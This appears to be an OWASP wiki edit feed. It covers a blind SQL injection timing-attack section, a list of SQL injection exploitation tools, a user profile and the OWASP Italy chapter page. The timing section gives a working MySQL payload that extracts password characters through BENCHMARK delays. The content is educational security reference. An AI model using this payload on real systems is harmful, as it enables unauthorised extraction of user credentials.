===Timing Attack===&lt;br /&gt;
&lt;br /&gt;
A Timing Attack depends upon injecting the following MySQL query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT IF(expression, true, false)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using some time-taking operation e.g. BENCHMARK(), will delay server&lt;br /&gt;
responses if the expression is True.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))&amp;lt;/pre&amp;gt; - will execute 5000000 times the ENCODE function.&lt;br /&gt;
&lt;br /&gt;
Depending on the database server performence and its load, it should&lt;br /&gt;
take just a moment to finish this operation. The important thing is,&lt;br /&gt;
from the attacker's point of view, to specify high number of BENCHMARK()&lt;br /&gt;
function repetitons, which should affect the server&lt;br /&gt;
response time in a noticeable way.&lt;br /&gt;
&lt;br /&gt;
Example combination of both queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
If the server response was quite long we may expect that the first user password character with user_id = 1 is character '2'.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
(CHAR(50) == '2')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Using this method for the rest of characters, it's possible to get to know entire password stored in the database. This method works even when the attacker injects the SQL queries and the content of the vulnerable page doesn't change.&lt;br /&gt;
&lt;br /&gt;
Obviously, in this example the names of the tables and the number of columns was specified. However, it's possible to guess them or check with a trial and error method.&lt;br /&gt;
&lt;br /&gt;
Other databases than MySQL also have implemented functions which allow them to use timing attacks:&lt;br /&gt;
* MS SQL 'WAIT FOR DELAY '0:0:10''&lt;br /&gt;
* PostgreSQL - pg_sleep()&lt;br /&gt;
&lt;br /&gt;
Conducting Blind_SQL_Injection attacks manually is very time consuming, but there are a lot of tools which automate this process. One of them is SQLMap (http://sqlmap.sourceforge.net/) partly developed within OWASP grant program. On the other hand, tools of this kind are very sensitive to even small deviations from the rule. This includes:&lt;br /&gt;
* scanning othe WWW cluster, where clocks are not ideally synchronized,&lt;br /&gt;
* WWW services where argument acquiring method was changed, e.g.  from /index.php?ID=10 to /ID,10&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
Same as for [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
* [[Blind_XPath_Injection]]&lt;br /&gt;
* [[SQL_Injection]]&lt;br /&gt;
* [[XPATH_Injection]]&lt;br /&gt;
* [[LDAP_injection]]&lt;br /&gt;
* [[Server-Side_Includes_%28SSI%29_Injection]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
* [[Injection_problem]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
* http://www.cgisecurity.com/questions/blindsql.shtml&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* http://www.securitydocs.com/library/2651&lt;br /&gt;
* http://seclists.org/bugtraq/2005/Feb/0288.html&lt;br /&gt;
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/&lt;br /&gt;
&lt;br /&gt;
'''Online Resources'''&lt;br /&gt;
* [http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf more Advanced SQL Injection] - by NGS&lt;br /&gt;
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf&lt;br /&gt;
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]&lt;br /&gt;
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]&lt;br /&gt;
* [http://www.securitydocs.com/library/2651 Blind SQL Injection]&lt;br /&gt;
* http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html&lt;br /&gt;
* [http://wcsc.myweb.usf.edu/tutorials/SQL_Injection.ppt SQL Injection Attacks]&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|check link:&lt;br /&gt;
&lt;br /&gt;
* http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* [http://www.sqlpowerinjector.com/ SQL Power Injector]&lt;br /&gt;
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1&lt;br /&gt;
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python&lt;br /&gt;
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl&lt;br /&gt;
* [http://sqlmap.sourceforge.net sqlmap, a blind SQL injection tool] in Python&lt;br /&gt;
* [http://www.514.es/2006/12/inyeccion_de_codigo_bsqlbf12th.html bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category: Attack]]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Tools&amp;diff=68763</id>
		<title>OWASP Backend Security Project Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Tools&amp;diff=68763"/>
				<updated>2009-09-13T12:28:56Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Category:OWASP Backend Security Project]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Tools =&lt;br /&gt;
&lt;br /&gt;
The aim of this section is to enumerate and quickly describe the tools used to find and exploit some vulnerabilities concerning database management systems.&lt;br /&gt;
&lt;br /&gt;
== SQL Ninja ==&lt;br /&gt;
&lt;br /&gt;
SQL Ninja is a tool, written in Perl, which helps a penetration tester to gain a shell on a  system running Microsoft SQL server, exploiting a web application resulted vulnerable to SQL Injection.&lt;br /&gt;
&lt;br /&gt;
http://sqlninja.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
== SQLMap ==&lt;br /&gt;
&lt;br /&gt;
sqlmap is an open source command-line automatic SQL injection tool. Its goal is to detect and take advantage of SQL injection vulnerabilities in web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user's specified DBMS tables/columns, run his own SQL statement, read or write either text or binary files on the file system, execute arbitrary commands on the operating system, establish an out-of-band stateful connection between the attacker box and the database server via Metasploit payload stager, database stored procedure buffer overflow exploitation or SMB relay attack and more.&lt;br /&gt;
&lt;br /&gt;
http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
== OWASP SQLiX ==&lt;br /&gt;
&lt;br /&gt;
SQLiX is a tool, written in Perl, able to identify the back-end database, find blind and normal injection and also execute system commands on a Microsoft SQL Server. It was also successfully tested on MySQL and PostgreSQL.&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&lt;br /&gt;
&lt;br /&gt;
== Scuba ==&lt;br /&gt;
&lt;br /&gt;
Scuba is a Database vulnerability scanner able to find vulnerabilities like unpatched software, unsafe processes and weak password on Oracle, DB2, Microsoft SQL Server and Sybase.&lt;br /&gt;
&lt;br /&gt;
http://www.imperva.com/products/scuba.html&lt;br /&gt;
&lt;br /&gt;
== SQID SQL Injection Digger ==&lt;br /&gt;
&lt;br /&gt;
SQL injection digger is a command line program, written in [http://www.ruby-lang.org/ ruby], that looks for SQL injections and common errors in websites. It can perform the following operations:&lt;br /&gt;
* Look for SQL injection in a webpage, by looking for links&lt;br /&gt;
* Submit forms in a webpage to look for SQL injection&lt;br /&gt;
* Crawl a website to perform the above listed operations&lt;br /&gt;
* Perform a google search for a query and look for SQL injections in the urls found&lt;br /&gt;
&lt;br /&gt;
http://sqid.rubyforge.org&lt;br /&gt;
&lt;br /&gt;
== SqlDumper ==&lt;br /&gt;
&lt;br /&gt;
Exploiting a SQL injection vulnerability SqlDumper can make dump of any file in the file system. It work only with DBMS MySql.&lt;br /&gt;
&lt;br /&gt;
http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php &lt;br /&gt;
&lt;br /&gt;
== SQL Power Injector ==&lt;br /&gt;
&lt;br /&gt;
SQL Power Injector is a .Net 1.1 application used to find and exploit SQL Injection vulnerability through a vulnerable web application which uses SQL Server, MySql, Sybase/Adaptive Server and DB2 Database Management Systems as backend. It’s main feature is the support for multithreaded automation of the injection.&lt;br /&gt;
&lt;br /&gt;
http://www.sqlpowerinjector.com &lt;br /&gt;
&lt;br /&gt;
== BobCat ==&lt;br /&gt;
&lt;br /&gt;
BobCat is a tool based on “Data Thief” and realized in .NET 2.0. It permits to take full advantage of SQL Injection vulnerability discovered in a web application to steal data, gain a shell or a reverse shell on the database management system machine. It has been tested on MSDE2000.&lt;br /&gt;
&lt;br /&gt;
http://www.northern-monkee.co.uk/index.html&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=51119</id>
		<title>User:Inquis</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=51119"/>
				<updated>2009-01-14T10:48:44Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Who I am ===&lt;br /&gt;
&lt;br /&gt;
My name is Bernardo Damele A. G., I am an IT Security Engineer based in London (United Kingdom) currently employed as Penetration Tester.&lt;br /&gt;
I spent the last years researching on web application security.&lt;br /&gt;
I am [http://sqlmap.sourceforge.net sqlmap] lead developer.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* Personal [http://bernardodamele.blogspot.com/ blog]&lt;br /&gt;
* [mailto:bernardo.damele@gmail.com E-mail address / Jabber]&lt;br /&gt;
* Skype contact: inquis&lt;br /&gt;
&lt;br /&gt;
=== Participations to OWASP ===&lt;br /&gt;
&lt;br /&gt;
* [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007 OWASP Spring of Code 2007] [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap participation]:&lt;br /&gt;
** [http://sqlmap.sourceforge.net sqlmap] project [http://www.owasp.org/index.php/SpoC_007_-_SqlMap contest page] and [http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page Progress Page]&lt;br /&gt;
* [[OWASP_Testing_Guide_v3_Table_of_Contents|OWASP Testing Guide v3]] contributor&lt;br /&gt;
* [[Italy|OWASP Italy]] and [[London|OWASP London]] chapters member&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=30672</id>
		<title>User:Inquis</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=30672"/>
				<updated>2008-06-07T10:26:13Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Who I am ===&lt;br /&gt;
&lt;br /&gt;
My name is Bernardo Damele, I am a software engineer and security consultant based in Italy where I mostly deal with vulnerability assessment and penetration test. I spent part of the last years researching on web application insecurity taking over the [http://sqlmap.sourceforge.net sqlmap] development since December 2006.&lt;br /&gt;
&lt;br /&gt;
=== Links ===&lt;br /&gt;
&lt;br /&gt;
* Personal [http://bernardodamele.blogspot.com/ blog]&lt;br /&gt;
* [mailto:bernardo.damele@gmail.com Email address / GTalk / MSN]&lt;br /&gt;
* Skype contact: inquis&lt;br /&gt;
&lt;br /&gt;
=== Participations to OWASP ===&lt;br /&gt;
&lt;br /&gt;
* [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007 OWASP Spring of Code 2007] [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap participation]:&lt;br /&gt;
** [http://sqlmap.sourceforge.net sqlmap] project [http://www.owasp.org/index.php/SpoC_007_-_SqlMap contest page] and [http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page Progress Page]&lt;br /&gt;
* [[OWASP_Testing_Guide_v3_Table_of_Contents|OWASP Testing Guide v3]] contributing author&lt;br /&gt;
* [[Italy|OWASP Italy]] board member&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=30671</id>
		<title>User:Inquis</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Inquis&amp;diff=30671"/>
				<updated>2008-06-07T10:25:06Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== Who I am ====&lt;br /&gt;
&lt;br /&gt;
My name is Bernardo Damele, I am a software engineer and security consultant based in Italy where I mostly deal with vulnerability assessment and penetration test. I spent part of the last years researching on web application insecurity taking over the [http://sqlmap.sourceforge.net sqlmap] development since December 2006.&lt;br /&gt;
&lt;br /&gt;
==== Links ====&lt;br /&gt;
&lt;br /&gt;
* Personal [http://bernardodamele.blogspot.com/ blog]&lt;br /&gt;
* [mailto:bernardo.damele@gmail.com Email address / GTalk / MSN]&lt;br /&gt;
* Skype contact: inquis&lt;br /&gt;
&lt;br /&gt;
=== Participations to OWASP ===&lt;br /&gt;
&lt;br /&gt;
* [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007 OWASP Spring of Code 2007] [http://www.owasp.org/index.php/OWASP_Spring_Of_Code_2007_Applications#Bernardo_-_sqlmap participation]:&lt;br /&gt;
** [http://sqlmap.sourceforge.net sqlmap] project [http://www.owasp.org/index.php/SpoC_007_-_SqlMap contest page] and [http://www.owasp.org/index.php/SpoC_007_-_SQLMap_-_Progress_Page Progress Page]&lt;br /&gt;
* [[OWASP_Testing_Guide_v3_Table_of_Contents|OWASP Testing Guide v3]] contributing author&lt;br /&gt;
* [[Italy|OWASP Italy]] board member&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Italy&amp;diff=23348</id>
		<title>Italy</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Italy&amp;diff=23348"/>
				<updated>2007-11-12T09:59:27Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Italy|extra=The chapter leader is [mailto:matteo.meucci@gmail.com Matteo Meucci]|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-italy|emailarchives=http://lists.owasp.org/pipermail/owasp-italy}}&lt;br /&gt;
&lt;br /&gt;
== NEWS: The presentation of the OWASP Day 1 Conference are on-line! ==&lt;br /&gt;
----&lt;br /&gt;
[[http://www.owasp.org/index.php/Italy#September_10th.2C_2007_-_OWASP_Day_WorldWide:_.22Privacy_in_the_21st_Century.22 Here]] you can dowload it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== NEXT EVENT:: OWASP Italy at SMAU E-Academy 2007 ==&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Next 20th October we will have 5 speeches at SMAU E-Academy 2007.&lt;br /&gt;
Here are the appointments:&lt;br /&gt;
&lt;br /&gt;
* Giorgio Fedon, COO at Minded Security: &amp;quot;Dove sono finiti i miei soldi? Internet Banking e Cross Site Scripting&amp;quot;&lt;br /&gt;
Saturday 20th October: 10:30&lt;br /&gt;
&lt;br /&gt;
* Paolo Perego, Senior Security Consultant at Spike Reply: &amp;quot;The Owasp Orizon project - bring security at the source&amp;quot;&lt;br /&gt;
Saturday 20th October: 14:00&lt;br /&gt;
&lt;br /&gt;
* Antonio Parata, Security Consultant at eMaze: &amp;quot;Valutazione del rischio tramite la logica fuzzy&amp;quot;&lt;br /&gt;
Saturday 20th October: 15:30&lt;br /&gt;
&lt;br /&gt;
* Alberto Revelli, Senior Security Consultant at Portcullis Security: &amp;quot;Anti-Anti-XSS: bypass delle difese del browser&amp;quot;&lt;br /&gt;
Saturday 20th October: 16:30&lt;br /&gt;
&lt;br /&gt;
* Stefano Di Paola, CTO at Minded Security: &amp;quot;Cros-site Flashing! Gli attacchi Web di ultima generazione parlano multipiattaforma&amp;quot; &amp;lt;br&amp;gt;&lt;br /&gt;
Saturday 20th October: 17:00&lt;br /&gt;
&lt;br /&gt;
[http://www.eacademy.it/article/articleview/2020/1/owasp_italia Here] you can read more information about it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Local Activities ==&lt;br /&gt;
&lt;br /&gt;
* There is already a qualified group (CISSP, CISA, BS7799 Lead Auditor, OPST, OPSA) of volunteers working on the following tasks:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
- Working at the new OWASP Testing Guide! (Matteo Meucci, Alberto Revelli, Stefano Di Paola, Giorgio Fedon, Luca Carettoni, Antonio Parata, Carlo Pelliccioni, Claudio Merloni, Mauro Bregolin)&amp;lt;br&amp;gt;&lt;br /&gt;
- Translate all OWASP documentations in italian language (Matteo Paolelli, Massimiliano Graziani)&amp;lt;br&amp;gt;&lt;br /&gt;
- Writing articles about OWASP Project for infosecmag (Matteo Meucci, Alessandro Graziani, Lorenzo De Santis, Marco Graia, Luca Carettoni, Carlo Pelliccioni)&amp;lt;br&amp;gt;&lt;br /&gt;
- Working at the project OWASP Legal (Dario Vaccaro, Marco Scialdone)&amp;lt;br&amp;gt;&lt;br /&gt;
- Working at the project OWASP Code Review (Paolo Perego)&amp;lt;br&amp;gt;&lt;br /&gt;
- Developing WebAppSec tools &amp;amp; Research (Stefano Di Paola, Daniele Bellucci, Alberto Revelli, Antonio Parata, Bernardo Damele)&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy Board ==&lt;br /&gt;
* This is the (not official) '''OWASP-Italy Board''':&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
Founder and Chair: Matteo Meucci&amp;lt;br&amp;gt;&lt;br /&gt;
Director of Communication: Raoul Chiesa&amp;lt;br&amp;gt;&lt;br /&gt;
Technical Director : Alberto Revelli&amp;lt;br&amp;gt;&lt;br /&gt;
R&amp;amp;D Director: Stefano Di Paola&amp;lt;br&amp;gt;&lt;br /&gt;
Technical Writer Director: Lorenzo De Santis&amp;lt;br&amp;gt;&lt;br /&gt;
Italian Translation of docs and papers: Matteo Paolelli, Massimiliano Graziani.&amp;lt;br&amp;gt;&lt;br /&gt;
Official active members: Giorgio Fedon, Luca Carettoni, Antonio Parata, Carlo Pelliccioni, Claudio Merloni, Mauro Bregolin, Paolo Perego, Daniele Bellucci, Bernardo Damele.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== What is OWASP? ==&lt;br /&gt;
&lt;br /&gt;
[http://www.isacaroma.it/html/newsletter/?q=node/78 Here] you can read an interview talking about OWASP.&lt;br /&gt;
&lt;br /&gt;
== OWASP-Italy is a CLUSIT Member ==&lt;br /&gt;
&lt;br /&gt;
http://www.clusit.it/logo_clusit/clusit_logo_b130.gif&lt;br /&gt;
&lt;br /&gt;
Thanks to CLUSIT and OWASP Foundation we have established a cross-membership between the two organizations.&lt;br /&gt;
So OWASP-Italy is now a [http://www.clusit.it/soci.htm CLUSIT member]  and CLUSIT is an OWASP Educational Member&lt;br /&gt;
&lt;br /&gt;
== NEWS: OWASP-Italy at InfoSecurity 07 ==&lt;br /&gt;
&lt;br /&gt;
* (Mar 07) Luca Carettoni has published an interview to OWASP-Italy (OWASP interviews OWASP :) )&lt;br /&gt;
[http://blog.html.it/archivi/2007/02/26/quattro-chiacchiere-con-owasp-italia.php Here] the full article.&lt;br /&gt;
&lt;br /&gt;
* (Oct 06) ISACA Roma has published several interview with OWASP-Italy members:&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/276 Matteo Meucci]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/287 Alberto Revelli]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/282 Antonio Parata]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/285 Paolo Perego]]&lt;br /&gt;
[[http://www.isacaroma.it/html/newsletter/node/328 Carlo Pelliccioni]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Paolo Perego has created the new '''OWASP Orizon Project'''. Go to [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Matteo Meucci has been selected as the new editor of the '''OWASP Testing Guide v2'''. See OWASP [http://www.owasp.org/index.php/OWASP_Autumn_Of_Code_2006_:_Selected_Projects_Press_Release press release] and go to [http://www.owasp.org/index.php/OWASP_Autumn_of_Code_2006_-_Projects:_Testing_Guide OWASP Testing Project v2]&lt;br /&gt;
&lt;br /&gt;
* (Sep 06) Carlo Pelliccioni is writing an article about the [http://www.owasp.org/index.php/Analysis_about_error_codes analysis of error codes] received by web servers. &lt;br /&gt;
&lt;br /&gt;
* Top10 Vulnerabilities - OWASP-Italy survey:&lt;br /&gt;
[[Image:Top 10 vulnerabilities-mini.GIF]]&lt;br /&gt;
&lt;br /&gt;
* (21 Jun 06) '''Infosecurity 2006''': the event is organized and managed by the CLUSIT.&lt;br /&gt;
Alberto Revelli and Matteo Meucci will partecipate as speakers at the seminar: &amp;quot;Web Application Security: guidelines and security auditing for web applications&amp;quot;.&lt;br /&gt;
[http://www.infosecurity.it/Roma/programma.php More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (1 Jun 06) '''&amp;quot;Quaderno CLUSIT&amp;quot;'''&lt;br /&gt;
CLUSIT has published a book entitled: &amp;quot;La verifica della sicurezza di applicazioni Web-based e il progetto OWASP&amp;quot;. &lt;br /&gt;
Several OWASP-Italy members (R.Chiesa, L.De Santis, M.Graziani, L.Legato, M.Meucci, A.Revelli) have contributed to the writing. The document is now reserved to CLUSIT members, but will be made public in about 3 months.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (31 May 06) Luca Carettoni has published the article '''&amp;quot;La sicurezza delle applicazioni Web secondo l'Open Web Application Security Project&amp;quot;.''' [http://sicurezza.html.it/articoli/leggi/1721/la-sicurezza-delle-applicazioni-web-secondo-lopen-/ Here]you can read the full article.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (1 Mar 06) '''OWASP-Boston, Microsoft'''&lt;br /&gt;
Thanks to Jim Weiler, Matteo Meucci has presented &amp;quot;Anatomy of two web attacks&amp;quot; at the OWASP-Boston meeting.&lt;br /&gt;
[http://www.owasp.org/local/boston.html More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (18 Nov 05) '''IDC - European Banking Forum'''&lt;br /&gt;
Thanks to Raoul Chiesa (Director of Communication OWASP-Italy), we will have a great speech at the [http://www.idc.com/italy/events/banking05/banking05_agenda.jsp IDC European IT Banking Forum 2005]. &lt;br /&gt;
Agenda:&lt;br /&gt;
- New standards for the ICT security auditing in the italian banking scenario: OSSTMM and OWASP. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy and Matteo Meucci, OWASP-Italy Chair&lt;br /&gt;
- Workshop: unusual form of attacks and banking system violation: live experience. Raoul Chiesa, Director of Communications, ISECOM/OWASP-Italy&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Oct 05) '''SMAU 2005''' is the 42a International ICT &amp;amp; Consumer Electronics Exhibition for Italy. &lt;br /&gt;
SMAU has accepted our submission! [http://www.webb.it/event/eventview/4488/1/progetto_owasp__case_study_di_applicativi_web_vulnerabili More info here]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Giu 05) Thanks to Massimiliano Graziani we have translated in italian the '''&amp;quot;OWASP Pen Test Checklist v.1.1&amp;quot;'''. You can download it [http://www.owasp.org/documentation/testing.html here.]&lt;br /&gt;
Thanks to the collaboration with CLUSIT, this doc is available also [http://www.clusit.it/whitepapers.htm here.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (May 05) '''ISACA Roma Newsletter''' has published an [http://www.isacaroma.it/html/newsletter/?q=node/78 interview to OWASP-Italy]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Apr 05) We have written an article describing the OWASP projects, Web Application Security and the next challenges. '''ICT Security'''.(the italian magazine about Information Security) has published the article on the number 33 - April 2005.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* The presentation of the seminar we have done in '''ISACA Rome''' (31th March 2005) is now available [http://www.isacaroma.it/pdf/050331/meucci.zip here.]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Apr 05) We have published a presentation describing a detailed case study of a web application vulnerabilty [http://www.owasp.org/images/7/72/MMS_Spoofing.ppt (MMS Spoofing)].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* (Mar 05) Thanks to Matteo Paolelli we have translated the '''&amp;quot;OWASP Top Ten Vulnerabilties in Web Application Security&amp;quot;''' in italian language. You can download it [http://www.owasp.org/docroot/owasp/projects/topten/OWASPTopTen2004-ITA.pdf here].&lt;br /&gt;
&lt;br /&gt;
== Events ==&lt;br /&gt;
&lt;br /&gt;
=== September 10th, 2007 - OWASP Day WorldWide: &amp;quot;Privacy in the 21st Century&amp;quot; ===&lt;br /&gt;
----&lt;br /&gt;
[[Image:Master.jpg]]&lt;br /&gt;
&lt;br /&gt;
Thanks to the collaboration with the [http://mastersicurezza.uniroma1.it Master on Information Security of the Universita di Roma &amp;quot;La Sapienza&amp;quot;], we have organized the OWASP Day here in Italy the last 10th September 2007 during the Global Security Week.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The event sponsor was [http://www.watchfire.com Watchfire]:&lt;br /&gt;
&lt;br /&gt;
[[Image:Watchfire.gif]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* The topic was Web Application Security &amp;amp; Privacy and we had 6 talks: a set technical and a set more at high level.&lt;br /&gt;
&lt;br /&gt;
Here is the Agenda and the presentations:&lt;br /&gt;
&lt;br /&gt;
Start meeting: 9.15&lt;br /&gt;
&lt;br /&gt;
* 9.15-9.30. Prof. L.Mancini (Director of the Master in Information Security, Università &amp;quot;La Sapienza&amp;quot; Rome):&lt;br /&gt;
&amp;quot;Welcome and open of the works&amp;quot;&lt;br /&gt;
[[Image:OWASP_Day1_Mancini.pdf]]&lt;br /&gt;
&lt;br /&gt;
* 9.30-9.45 M.Meucci (OWASP-Italy Chair, CEO Minded Security):&lt;br /&gt;
&amp;quot;Introduction to the OWASP-Day and OWASP-Italy projects&amp;quot;&lt;br /&gt;
[[Image:OWASP_Day1_Meucci.ppt]]&lt;br /&gt;
&lt;br /&gt;
* 9.45-10.15. Mauro Bregolin (Principal Consultant - KIMA Projects &amp;amp; Services):&lt;br /&gt;
&amp;quot;Privacy in the digital era&amp;quot;&lt;br /&gt;
[[Image:OWASP_Day1_Bregolin.ppt]]&lt;br /&gt;
&lt;br /&gt;
* 10.15-10.45. Carlo Pelliccioni (Security Consultant - @Mediaservice.net):&lt;br /&gt;
&amp;quot;OWASP Top 10 2007 - Are our information &amp;quot;really&amp;quot; safe?&amp;quot;&lt;br /&gt;
[[Image:OWASP-Day1_Pelliccioni.pdf]]&amp;lt;br&amp;gt;[[Image:Video_Top-10-2007_part1.zip]]&amp;amp;nbsp;[[Image:Video_Top-10-2007_part2.zip]]&lt;br /&gt;
&lt;br /&gt;
* 10.45-11.15. Alberto Revelli (Senior Consultant - Portcullis Computer Security):&lt;br /&gt;
&amp;quot;Anti-Anti-XSS: bypassing browser protections&amp;quot; &lt;br /&gt;
[[Image:OWASP-Day1_Revelli.ppt]]&lt;br /&gt;
&lt;br /&gt;
* 11.15-11.45. Coffe break&lt;br /&gt;
&lt;br /&gt;
* 11.45-12.15. Laurent Petroque (F5): &lt;br /&gt;
&amp;quot;Growing Application Security Awareness&amp;quot;.&lt;br /&gt;
[[Image:OWASP_Day1_Petroque.ppt]]&lt;br /&gt;
&lt;br /&gt;
* 12.15-12.45. Luca Carettoni (Security Consultant - SecureNetwork):&lt;br /&gt;
&amp;quot;Buzzwords Security&amp;quot;&lt;br /&gt;
[[Image:OWASP_Day1_Carettoni.pdf]]&lt;br /&gt;
&lt;br /&gt;
* 12.45-13.30. Danny Allan (Director of Security Research - Watchfire):&lt;br /&gt;
&amp;quot;Hacker Attacks on the Horizon: Understanding the Top Web 2.0 Attack Vectors&amp;quot;&lt;br /&gt;
[[Image:OWASP_Day1_Allan.pdf]]&lt;br /&gt;
&lt;br /&gt;
* Here you can download the [http://icsecurity.di.uniroma1.it/dokuwiki/doku.php?id=events:owaspday07 audio]&lt;br /&gt;
&lt;br /&gt;
